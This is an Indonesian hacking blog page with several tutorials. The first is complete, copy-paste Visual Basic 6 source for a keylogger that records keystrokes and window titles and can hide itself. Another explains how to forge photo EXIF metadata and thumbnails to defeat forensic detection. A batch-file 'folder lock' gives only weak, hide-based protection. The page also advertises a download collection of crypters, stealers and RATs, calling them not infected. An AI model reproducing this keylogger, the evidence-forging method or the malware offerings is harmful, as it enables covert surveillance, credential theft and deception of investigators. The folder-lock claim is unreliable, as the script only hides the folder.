KapuyuaK DownloaD

20 Mei 2012

Membuat Key Logger Dengan Visual Basic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
Buka program Visual Basic
New Project Standard EXE
Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label
Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End SubPrivate Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

atau.... (silahkan Copas di SINI)
Jalankan dengan menekan tombol F5
Live demo bisa di download disini :

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Membuat Password Pada Folder Penting

Cara Memberi/Memasang Password Pada Folder- Terkadang ada file atau informasi yang tersimpang didalam suatu folder komputer yang menurut kita sangat rahasia sehingga orang lain tidak dapat membuka apalagi membaca file tersebut. Seperti yang sifatnya pribadi, rahasia perusahaan, rekam medis dan sebagainya. Dengan kata lain folder tersebut harus diproteksi dengan password. oleh karena itu di butuhkan Cara Membuat Password Pada Folder.

Banyak sekali software untuk mengunci sebuah file atau folder agar tidak mudah diakses orang lain. Dengan keyword “Lock Folder Software” maka akan didapati sekian banyak software yang menawarkan proteksi untuk file atau folder. Dengan berlabel Free Download / Trial -> dan setelah diinstall maka kita disuruh mendaftar (register) dan akhirnya kita disuruh membeli.
Buka NOTEPAD Dengan Klik Start -> All Programs -> Accessories -> Notepad

Cara berikut ini adalah cara yang paling gampang dan tidak harus bayar. Ikuti trik Cara Membuat Password Pada Folder berikut ini :

1. Copy dan Paste-kan kode dibawah ini kedalam Notepad

cls
@ECHO OFF
title Folder Locker
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p “pass=>”
if NOT %pass%==PasswordAnda goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

Untuk Copas Silahkan Klik Link INI

Catatan: PasswordAnda -> Ganti dengan password yg anda inginkan.

2. Simpan file tersebut dengan Nama FolderLock.Bat pada folder yang akan dikunci

3. Tutup dan kemudian buka lagi file tersebut, dan akan membuat folder penting.

4. Ketikkan kode password Anda
5. Klik lagi, dan akan tertampil perintah “Do you want to lock the file Y/N“.

6. Ketikkan “Y” dan tekan Enter.
7. Untuk membuka folder penting, masukkan password anda yang tadi.

Jangan Lupa: PasswordAnda -> Ganti dengan password yg anda inginkan.
Selamat mencoba dan mempraktekkannya

Mengubah EXIF MetaData Sebuah Photo

Tutorial ini akan menjelaskan cara untuk mengelabui investigasi “Digital Forensic” pada Metadata EXIF Gambar. Bisa juga disebut “Disguise Digital Forensic” dengan Mengubah EXIF Metadata Sebuah Photo.
Metadata adalah istilah dalam dunia teknologi informasi yang berarti data dari sebuah data, artinya data yang Anda miliki masih menyimpan data lain dari data yang Anda miliki. Metadata ini letaknya ada di dalam file dan bentuknya tidak terlihat langsung.
Biasanya metadata ini digunakan untuk keperluan digital forensic atau penyelidikan terkait dengan masalah dunia digital.

Sedangkan EXIF sendiri merupakan metadata yang “hanya” digunakan dalam dunia digital photography. Dari namanya EXIF dapat diterangkan sebagai Exchangeable Image File Format.

EXIF dikembangkan oleh Japanese Electronics Industry Development Association (JEIDA) sebagai upaya untuk mempermudah dan membuat standar pertukaran data antara perangkat lunak pengolah gambar/citra digital dan perangkat keras seperti kamera.

Informasi umum yang bisa Anda dapatkan dari EXIF sebuah foto digital adalah antara lain :
1. Tanggal dan jam berapa sebuah foto dibuat
2. Merk, tipe kamera, dan jenis lensa yang dipakai untuk memotret/menghasilkan foto
3. Resolusi dari kamera yang digunakan untuk mengambil gambar
4. Digunakan atau tidaknya fitur flash pada kamera
5. Lokasi dimana file tersebut diambil jika kamera yang digunakan mendukung GPS

Masih banyak hal terkait dengan kamera yang tersimpan dalam sebuah EXIF, dengan EXIF kita dapat membandingkan perbedaan hasil jepretan dari kamera yang berbeda, termasuk EXIF foto yang telah direkayasa dengan software tambahan yang akan kita bahas di sini.

Bagaimana kita bisa melihat EXIF dari sebuah foto?
Melihat EXIF sebuah foto secara instant dari fitur properties bawaan sebuah Operating System dirasa terlalu mudah dan menghasilkan keakuratan yang rendah. Untuk melihat EXIF dari foto secara lengkap kita bisa menggunakan software yang khusus digunakan untuk itu. Di Linux, utamanya seperti Backtrack dan Backbox linux kita mengenal software Exiftool dalam shell mode (berbasis teks). Di Windows juga dibuat exiftool oleh pembuat yang sama yaitu Phil Harvey, namun kelebihan di Windows ini kita bisa menggunakan exiftool dalam GUI mode (berbasis visual) yang memudahkan penggunaan exiftool.

Anda bisa mendapatkan exiftool dari website aslinya langsung dengan download disini:

= Download =

Dan saya membuat mirror windowsnya untuk memudahkan praktikum kita kali ini disini:
Mirror 1
Mirror 2

Cara install exiftool di Windows :
1. Download exiftool dari alamat web yang saya berikan tadi
2. Extract exiftool-8.90.zip ke Windows directory, sebagai contoh C:\Windows

3. Rename exiftool(-k).exe yang gambar unta menjadi exiftool.exe tanpa (-k)

4. Kemudian extract exiftoolgui510.zip ke tempat yang mudah untuk Anda mengakses exiftool GUI
5. Mulai exiftool GUI dengan menjalankan ExifToolGUI.exe

Pembahasan 1, Melihat EXIF sebuah Foto
Kita umpamakan akan melihat exif foto dari orang yang gambarnya ada di bawah ini :

Buka exiftool dan arahkan ke lokasi dimana foto tersebut berada, Anda akan melihat detail EXIF di panel bagian kanan. Bagian yang berwarna biru muda dalam gambar adalah keterangan terkait dengan kamera atau software yang digunakan.

Dari gambar di atas kita memperoleh keterangan bahwa gambar/foto tersebut diambil dengan kamera CASIO dengan model EX-Z33, orientation Horizontal (normal), software 1.00, flash auto, focallength 13.1 mm. Yang menandakan bahwa file foto tersebut asli hasil jepretan kamera.
Lalu bagaimana melihat EXIF file hasil editan photoshop? Arahkan exiftool ke foto editan

Dari gambar di atas kita melihat baris Software memunculkan value Adobe Photoshop CS4 Windows yang menandakan bahwa file foto tersebut hasil editan Photoshop. Meskipun menggunakan kamera ponsel model Nokia 6120classic namun foto yang sudah sedikit saja tersentuh software akan meninggalkan jejak khas dari software tersebut.

Pembahasan 2, Manipulasi EXIF sebuah Foto
Pada pembahasan ini kita akan mempelajari teknik penghapusan EXIF metadata software pada sebuah foto. Arahkan exiftool pada foto editan yang telah kita buka tadi. Pada menubar pilih Modify lalu pilih Remove metadata.

Untuk memudahkan pilih remove ALL metadata lalu klik Execute, kini semua metadata telah berubah, masih ada bagian yang menandakan Adobe (masih ada sentuhan software).

Kita coba untuk mengimpor EXIF metadata dari foto lain, usahakan fotonya agar sama atau paling tidak “mirip”.

Pada menubar pilih Export/Import lalu pilih Copy metadata from single file, klik OK, pilih file yang metadatanya akan dimasukkan ke foto editan lalu klik Open. Pilih import ALL metadata. Sekarang metadata sudah berhasil dimodifikasi dengan keterangan hasil jepretan kamera ponsel Nokia tanpa embel-embel lain pada bagian Software, tinggal sedikit dimodifikasi nilainya.

Malangnya pada gambar di atas masih muncul keterangan Adobe. Pada pembahasan berikutnya kita akan mencari cara untuk menghilangkan keterangan Adobe ini.

Pembahasan 3, Menghilangkan ciri khas software
Pada pembahasan sebelumnya foto yang telah kita edit masih menyertakan embel-embel Adobe. Teknik umum yang biasa digunakan oleh pemalsu foto adalahmengedit foto dengan software lain sebelum diproses.
Foto yang telah diedit dengan software akan menyisakan jejak ciri dari software tersebut, untuk merubah jejak software tersebut tentunya kita harus menggunakan software lain. Intinya jejak software lama akan ditimpakan dengan jejak software baru yang bisa dihilangkan. Saya biasa menggunakan Paint dengan catatan ukuran file akan berubah dari ukuran file semula.
Pertama copy foto yang akan diedit beserta foto yang masih murni hasil jepretan kamera yang sama atau “mirip” ke directory lain misal di My Documents. Buka file foto editan dengan Paint lalu Save As dengan nama yang sama, jangan ada pengeditan lain apa pun itu.

Di sini ukuran gambar saya akan mengecil. Buka exiftool lagi arakhan ke gambar yang baru saja disimpan. Sekarang pertanda baik, tidak ada keterangan Adobe. Remove lagi metadata seperti tadi lalu impor metadata dari file foto asli.

Tidak ada keterangan Adobe lagi, exif juga mirip dengan file lain. Tinggal sedikit kustomisasi pada exif foto.

Pembahasan 4, Replace thumbnails
File foto yang telah ditindih EXIF metadata-nya dengan EXIF metadata dari file foto lain akan mengikutkan thumbnail gambar foto lain ke dalam foto yang diedit. Tidak terlihat sekilas memang, tapi akan terlihat setelah kita menggunakan tool Exifer.

Dari gambar di atas terlihat perbedaan thumbnail sekilas dengan thumbnail yang dilihat dengan software Exifer. Data sekilas menunjukkan thumbnail yang sama dengan gambar tapi kenyataannya berbeda, thumbnail masih mengikut pada foto lain yang tadinya diimporkan EXIF metadata-nya kedalam foto tersebut.
Nah di dalam Pembahasan 4 ini kita akan mempelajari teknik pe-replace-an thumbnail file foto. Pertama buka tool Exifer lalu arahkan ke foto editan yang EXIF metadata-nya telah dirubah seolah asli. Pilih submenu Thumbnail dari menu EXIF/IPTC, pilih Insert thumbnail lalu arahkan ke foto editan yang thumbnailnya masih murni.

Lalu OK, pilih replace. Sekarang thumbnail telah seperti semula. Tinggal sesuaikan tanggal modifikasi dan tanggal pembuatan seperti semula.

Sekarang siapa yang tahu kalau itu foto editan?

Sebenarnya masih ada banyak cara untuk menyamarkan EXIF metadata ini seperti :
1. Menggunakan kamera yang memiliki photo editor (kamera haurs sama). Caranya dengan memasukkan foto kedalam kamera lalu menetapkan tanggal dan dan waktu pengeditan foto pada kamera dengan tanggal dan waktu pengambilan foto. Beberapa kamera berhasil menggunakan cara ini.
2. Save as web pada photoshop
3. Menggunakan software exifer untuk menindih Exif metadata seperti tadi
Pengambilan gambar dari media web tidaklah valid, karena ketika didownload kadang EXIF metadata telah dimodifikasi. Untuk penyelidikan ambilah gambar/foto yang berasal dari media fisik seperti flashdisk/CD/memory card. Namun hal ini juga tidak dapat dijadikan patokan, teknologi semakin berkembang dan foto palsu pun sekarang bisa jadi asli seperti yang telah kita praktikkan. Untuk mencocokan hash juga tidak mudah karena tidak diketahui mana foto yang sekiranya asli. Orang biasanya menilai bila hash file berbeda maka tidak ada file yang asli.
Semoga dengan sedikit ilmu yang saya berikan bisa menjadi manfaat dan tidak disalahgunakan, Amin.
Mohon maaf bila ada salah sesuatu, karana basic saya di web and networking, jadi saya tidak begitu tahu tentang fotografi. File akhir praktik ini juga dideteksi sebagai editan oleh JPEGsnoop.

CRYPTERS, BINDERS, KEYLOGGERS, STEALERS, RATS Collection

NOTE: RATs usually are detected as a trojans and viruses, but I guarantee you that they are NOT infected, as long as you don't run the bot servers on your computer.

KapuyuaK DownloaD

20 Mei 2012

Membuat Key Logger Dengan Visual Basic

Membuat Password Pada Folder Penting

Mengubah EXIF MetaData Sebuah Photo

CRYPTERS, BINDERS, KEYLOGGERS, STEALERS, RATS Collection

Other Blog

My Link

Pengikut